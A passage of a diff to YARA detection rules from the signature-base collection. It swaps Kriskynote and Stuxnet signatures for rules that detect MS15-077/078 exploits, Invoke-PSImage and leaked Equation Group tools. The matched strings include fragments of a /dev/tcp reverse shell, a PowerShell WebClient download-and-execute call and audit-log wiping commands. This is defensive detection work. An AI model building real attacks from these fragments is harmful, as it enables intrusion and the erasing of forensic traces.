+		logic_hash = "3ced67c514d54324b41a4a4a92c1d3138e75380f3129b39ae92c1895c267acb2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a19c4b615aa54207604b181873e614d84126b639fee2cce3ca9d5bd863f6f577"
-		hash2 = "62b41db0bf63fa45a2c2b0f5df8c2209a5d96bf2bddf82749595c66d30b7ec61"
+		hash1 = "037723bdb9100d19bf15c5c21b649db5f3f61e421e76abe9db86105f1e75847b"
+		hash2 = "b602ce32b7647705d68aedbaaf4485f1a68253f8f8132bd5d5f77284a6c2d8bb"
 
 	strings:
-		$s1 = "gzwrite64" fullword ascii
-		$opa1 = { e8 6b fd ff ff 83 f8 ff 74 65 83 7b 28 00 74 42 }
-		$opb1 = { 8a 04 08 8b 8e a4 16 00 00 88 44 24 0c 66 c7 04 }
-		$opb2 = { 89 4e 6c 89 46 74 e9 ad fc ff ff 8b 46 68 85 c0 }
+		$s12 = "WespySSld.eQ" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and $s1 and ($opa1 or all of ($opb*))
+		uint16(0)==0x5a4d and filesize <300KB and 1 of them
 }
-rule SIGNATURE_BASE_Kriskynote_Mar17_2 : FILE
+rule SIGNATURE_BASE_Exploit_MS15_077_078 : FILE
 {
 	meta:
-		description = "Detects Kriskynote Malware"
+		description = "MS15-078 / MS15-077 exploit - generic signature"
 		author = "Florian Roth (Nextron Systems)"
-		id = "704baf41-9718-537f-9456-381a9f42fb97"
-		date = "2017-03-03"
+		id = "57f6db11-9d93-53fd-ab68-c6c3eadae2da"
+		date = "2015-07-21"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kriskynote.yar#L32-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a1a7c1c75cc64df32d2f055538c5ad15418802733046471520c372a616f1e11"
+		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_2426.yar#L10-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "354219a1ed88c891c64513a057266199919406309460d92792a4be509f9580a1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cb9a2f77868b28d98e4f9c1b27b7242fec2f2abbc91bfc21fe0573e472c5dfcb"
+		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
+		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
+		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
 
 	strings:
-		$s1 = "fgjfcn8456fgjhfg89653wetwts" fullword ascii
-		$op0 = { 33 c0 80 34 30 03 40 3d e6 21 00 00 72 f4 b8 e6 }
+		$s1 = "GDI32.DLL" fullword ascii
+		$s2 = "atmfd.dll" fullword wide
+		$s3 = "AddFontMemResourceEx" fullword ascii
+		$s4 = "NamedEscape" fullword ascii
+		$s5 = "CreateBitmap" fullword ascii
+		$s6 = "DeleteObject" fullword ascii
+		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 }
+		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 }
+		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 }
+		$op3 = { 64 00 88 ff 84 03 70 03 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and 5 of ($s*) or 3 of ($op*)
 }
-rule SIGNATURE_BASE_Kriskynote_Mar17_3 : FILE
+rule SIGNATURE_BASE_Exploit_MS15_077_078_Hackingteam : FILE
 {
 	meta:
-		description = "Detects Kriskynote Malware"
+		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
 		author = "Florian Roth (Nextron Systems)"
-		id = "647fac4c-2326-5a68-9890-8236022c1548"
-		date = "2017-03-03"
+		id = "3bf40dec-c46e-5054-a98e-602049cb1824"
+		date = "2015-07-21"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kriskynote.yar#L48-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fda8a7944cdd12cadb1c902664909a8164835f660e6fa56209bc51164a90e77c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_2426.yar#L38-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c94582629e555c9fd0b29302720078a7eb47d3013d0c1b5edd4e060c2062fa92"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc838e07834994f25b3b271611e1014b3593278f0703a4a985fb4234936df492"
+		super_rule = 1
+		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
 
 	strings:
-		$s1 = "rundll32 %s Check" fullword ascii
-		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs" fullword ascii
-		$s3 = "name=\"IsUserAdmin\"" fullword ascii
-		$s4 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+		$s1 = "\\SystemRoot\\system32\\CI.dll" ascii
+		$s2 = "\\sysnative\\CI.dll" ascii
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii
+		$s4 = "CRTDLL.DLL" fullword ascii
+		$s5 = "\\sysnative" ascii
+		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <2500KB and 5 of them
 }
-rule SIGNATURE_BASE_Stuxnet_Malware_1
+rule SIGNATURE_BASE_Invoke_Psimage : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file malware.exe"
+		description = "Detects a command to execute PowerShell from String"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1f475dc3-ebb3-508f-b696-3d9ea270b13d"
-		date = "2016-07-09"
+		id = "6abf53cd-6465-555b-a7d4-f5a917073f01"
+		date = "2017-12-16"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L10-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8caa6bddef3c05e572ef342513190832900dcb1a7a56589ed7df48b3c6992ed1"
+		reference = "https://github.com/peewpw/Invoke-PSImage"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_invoke_psimage.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce4bc73fcba3b82e4d11203aa2c3f0b2f85c6eb9e1784ad76a7b20500b4053f8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
 
 	strings:
-		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
-		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
-		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+		$ = "IEX([System.Text.Encoding]::ASCII.GetString(" ascii wide
+		$ = "System.Drawing.Bitmap((a Net.WebClient).OpenRead(" ascii wide
+		$ = { 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
+            00 00 04 E4 00 00 03 A0 08 06 00 00 00 9D AF A9
+            E8 00 00 00 09 70 48 59 73 00 00 19 D6 00 00 19
+            D6 01 18 D1 CA ED 00 00 00 07 74 49 4D 45 07 E1
+            0C 0F 13 1E 36 89 C4 28 BF 00 00 00 07 74 45 58
+            74 41 75 74 68 6F 72 00 A9 AE CC 48 00 00 00 0C
+            74 45 58 74 44 65 73 63 72 69 70 74 69 6F 6E 00
+            13 09 21 23 00 00 00 0A 74 45 58 74 43 6F 70 79
+            72 69 67 68 74 00 AC 0F CC 3A 00 00 00 0E 74 45
+            58 74 43 72 65 61 74 69 6F 6E 20 74 69 6D 65 00
+            35 F7 0F }
 
 	condition:
-		all of them
+		filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_Stuxnet_Malware_2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Emptycriss : FILE
 {
 	meta:
-		description = "Stuxnet Sample"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file emptycriss"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2865353c-44c5-5280-878b-daadcef017b8"
-		date = "2016-07-09"
+		id = "658a0a2c-ea3a-5531-abea-54f0ed786e79"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L43-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ecf992f8fd38b1ab3e05bfe05f260bcaf617f168484477aa81acb9b517b9f3e7"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L15-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fcfbe4a8a959491dfba9e5d958e43221d83a1e49dcf005872a1b71efb1226d99"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+		hash1 = "a698d35a0c4d25fd960bd40c1de1022bb0763b77938bf279e91c9330060b0b91"
 
 	strings:
-		$s1 = "\\SystemRoot\\System32\\hal.dll" wide
-		$s2 = "http://www.jmicron.co.tw0" fullword ascii
+		$s1 = "./emptycriss <target IP>" fullword ascii
+		$s2 = "Cut and paste the following to the telnet prompt:" fullword ascii
+		$s8 = "environ define TTYPROMPT abcdef" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <70KB and all of them
+		( filesize <50KB and 1 of them )
 }
-rule SIGNATURE_BASE_Stuxnet_Dll : FILE
+rule SIGNATURE_BASE_Equationgroup_Scripme : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file dll.dll"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file scripme"
 		author = "Florian Roth (Nextron Systems)"
-		id = "92d812a6-2622-56e4-96c5-eb65ab7055b9"
-		date = "2016-07-09"
+		id = "a2c5cd8b-c104-57d9-9ce2-a0b9a8dd9288"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L59-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c192153c268fdd330d3b9e2eb0d8383bd50ce6d036409f0cc0c9273ba8201b3"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L32-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cffded6563bb3c94868f25e086be8d92837a7656707bf4e6a9e9f375d9ee7e0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
+		hash1 = "a1adf1c1caad96e7b7fd92cbf419c4cfa13214e66497c9e46ec274a487cd098a"
 
 	strings:
-		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii
+		$x1 = "running \\\"tcpdump -n -n\\\", on the environment variable \\$INTERFACE, scripted" fullword ascii
+		$x2 = "Cannot read $opetc/scripme.override -- are you root?" ascii
+		$x3 = "$ENV{EXPLOIT_SCRIPME}" ascii
+		$x4 = "$opetc/scripme.override" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and $s1
+		( filesize <30KB and 1 of them )
 }
-rule SIGNATURE_BASE_Stuxnet_Shortcut_To : FILE
+rule SIGNATURE_BASE_Equationgroup_Crypttool : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file cryptTool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "582ab12b-808e-5d5c-ba36-3bb987c4c552"
-		date = "2016-07-09"
+		id = "e1f4e010-9c42-5b8a-8feb-2885b99307fe"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L74-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8119500d38bcfc60620265386f31899e586f62e1ceeeff365fd0018ab39c30e"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L50-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae2d5eda038326376511450e1f5bd2bbf6264d23df013b005b322d70eb6266a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
+		hash1 = "96947ad30a2ab15ca5ef53ba8969b9d9a89c48a403e8b22dd5698145ac6695d2"
 
 	strings:
-		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide
+		$s1 = "The encryption key is " fullword ascii
+		$s2 = "___tempFile2.out" ascii
 
 	condition:
-		uint16(0)==0x004c and filesize <10KB and $x1
+		( uint16(0)==0x457f and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Stuxnet_Malware_3 : FILE
+rule SIGNATURE_BASE_Equationgroup_Dumppoppy : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file ~WTR4141.tmp"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file dumppoppy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b0b301a-bf29-5080-a7d6-4d5f389bdf50"
-		date = "2016-07-09"
+		id = "c316aac3-bdd7-5187-8ae2-0a87c2f2d26f"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L89-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8c546fb74b419d46bab855fa07a55833ab0a23eb4081ce24a5d4ab0e4bf09dc"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L66-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6fb6a3799196375796da6f3a0169246145e668019dd692da67ca6f06d09c3dc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
-		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
+		hash1 = "4a5c01590063c78d03c092570b3206fde211daaa885caac2ab0d42051d4fc719"
 
 	strings:
-		$x1 = "SHELL32.DLL.ASLR." fullword wide
-		$s1 = "~WTR4141.tmp" fullword wide
-		$s2 = "~WTR4132.tmp" fullword wide
-		$s3 = "totalcmd.exe" fullword wide
-		$s4 = "wincmd.exe" fullword wide
-		$s5 = "http://www.realtek.com0" fullword ascii
-		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide
+		$x1 = "Unless the -c (clobber) option is used, if two RETR commands of the" fullword ascii
+		$x2 = "mywarn(\"End of $destfile determined by \\\"^Connection closed by foreign host\\\"\")" fullword ascii
+		$l1 = "End of $destfile determined by \"^Connection closed by foreign host"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and ($x1 or 3 of ($s*))) or (5 of them )
+		( filesize <20KB and 1 of them )
 }
-rule SIGNATURE_BASE_Stuxnet_Malware_4 : FILE
+rule SIGNATURE_BASE_Equationgroup_Auditcleaner : FILE
 {
 	meta:
-		description = "Stuxnet Sample"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file Auditcleaner"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd3fa395-15f1-5a11-9740-03b897e4620b"
-		date = "2016-07-09"
+		id = "39ed798a-221d-5a4b-8809-db01d5241418"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L112-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4ad77490d17cf897c4639f0b9f9473267886e99a94b4f506670207497117764"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L84-L102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30a6ae9ce7d02c1d945d57eabf29f430ad4cdbc48dba5fe71654efc2c59fde08"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
-		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
+		hash1 = "8c172a60fa9e50f0df493bf5baeb7cc311baef327431526c47114335e0097626"
 
 	strings:
-		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
-		$x2 = "MRxCls.sys" fullword wide
-		$x3 = "MRXNET.Sys" fullword wide
+		$x1 = "> /var/log/audit/audit.log; rm -f ." ascii
+		$x2 = "Pastables to run on target:" ascii
+		$x3 = "cp /var/log/audit/audit.log .tmp" ascii
+		$l1 = "Here is the first good cron session from" fullword ascii
+		$l2 = "No need to clean LOGIN lines." fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of them ) or ( all of them )
+		( filesize <300KB and 1 of them )
 }
-rule SIGNATURE_BASE_Stuxnet_Maindll_Decrypted_Unpacked
+rule SIGNATURE_BASE_Equationgroup_Reverse_Shell : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file reverse.shell.script"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7009a41c-0588-5392-ae1c-045e0a5ee56b"
-		date = "2016-07-09"
+		id = "0e9b8ff2-2187-5b61-a086-2ad4ff1a3b10"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L130-L150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bec740cdb4c1748d0fb546691cf8feb38c0e61adad60c069c5866f5034cb7ed9"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L104-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6dc388fecbf606b19c04626d64f5fe4184f07c2a1597a6f8337aa4a827b2d89b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
+		hash1 = "d29aa24e6fb9e3b3d007847e1630635d6c70186a36c4ab95268d28aa12896826"
 
 	strings:
-		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
-		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
-		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
-		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
-		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
-		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
-		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
-		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii
+		$s1 = "sh >/dev/tcp/" ascii
+		$s2 = " <&1 2>&1" fullword ascii
 
 	condition:
-		6 of them
+		( filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_Stuxnet_S7Hkimdb : FILE
+rule SIGNATURE_BASE_Equationgroup_Tnmunger : FILE
 {
 	meta:
-		description = "Stuxnet Sample - file s7hkimdb.dll"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file tnmunger"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e4cb277f-5eee-5405-9d48-d06657392323"
-		date = "2016-07-09"
+		id = "c95dd24f-ffc9-5e58-aed7-205daa001b8c"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxnet.yar#L152-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a44063b6a542eca17f46802e9f644540f1d6b6cb9777c20ef9ea14e44c341a1c"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L120-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ddb957ca9350288d0fa98ba20847a99dcba931b5a03d0ae94cd3409f82f728eb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
+		hash1 = "1ab985d84871c54d36ba4d2abd9168c2a468f1ba06994459db06be13ee3ae0d2"
 
 	strings:
-		$x1 = "S7HKIMDX.DLL" fullword wide
-		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
-		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
-		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+		$s1 = "TEST: mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
+		$s2 = "mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and $x1 and all of ($op*))
+		( uint16(0)==0x457f and filesize <10KB and 1 of them )
 }
-rule SIGNATURE_BASE_Win_Privesc_Gp3Finder_V4_0 : FILE
+rule SIGNATURE_BASE_Equationgroup_Ys_Ratload : FILE
 {
 	meta:
-		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.ratload.sh"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3b310c12-ac69-527b-9503-1486ae5f692c"
-		date = "2016-06-02"
+		id = "abd120e7-23f8-530e-b21e-c50a2b571332"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_win_privesc.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d5618315ae5293ce1aea18d255d08bb007f39a466021fb636605684433da158"
-		score = 80
-		quality = 60
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L136-L151"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "82d00b7eecdb60911ecd933387eeb2ce4eec9721993beee60247d1273ad3368f"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
+		hash1 = "a340e5b5cfd41076bd4d6ad89d7157eeac264db97a9dddaae15d935937f10d75"
 
 	strings:
-		$x1 = "Check for and attempt to decrypt passwords on share" ascii
-		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
-		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii
+		$x1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -x 9999\"" fullword ascii
+		$x2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
+		$x3 = "CALLBACK_PORT=32177" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and 1 of ($x*)) or ( all of them )
+		( uint16(0)==0x2123 and filesize <3KB and 1 of them )
 }
-rule SIGNATURE_BASE_Win_Privesc_Folderperm
+rule SIGNATURE_BASE_Equationgroup_Eh_1_1_0 : FILE
 {
 	meta:
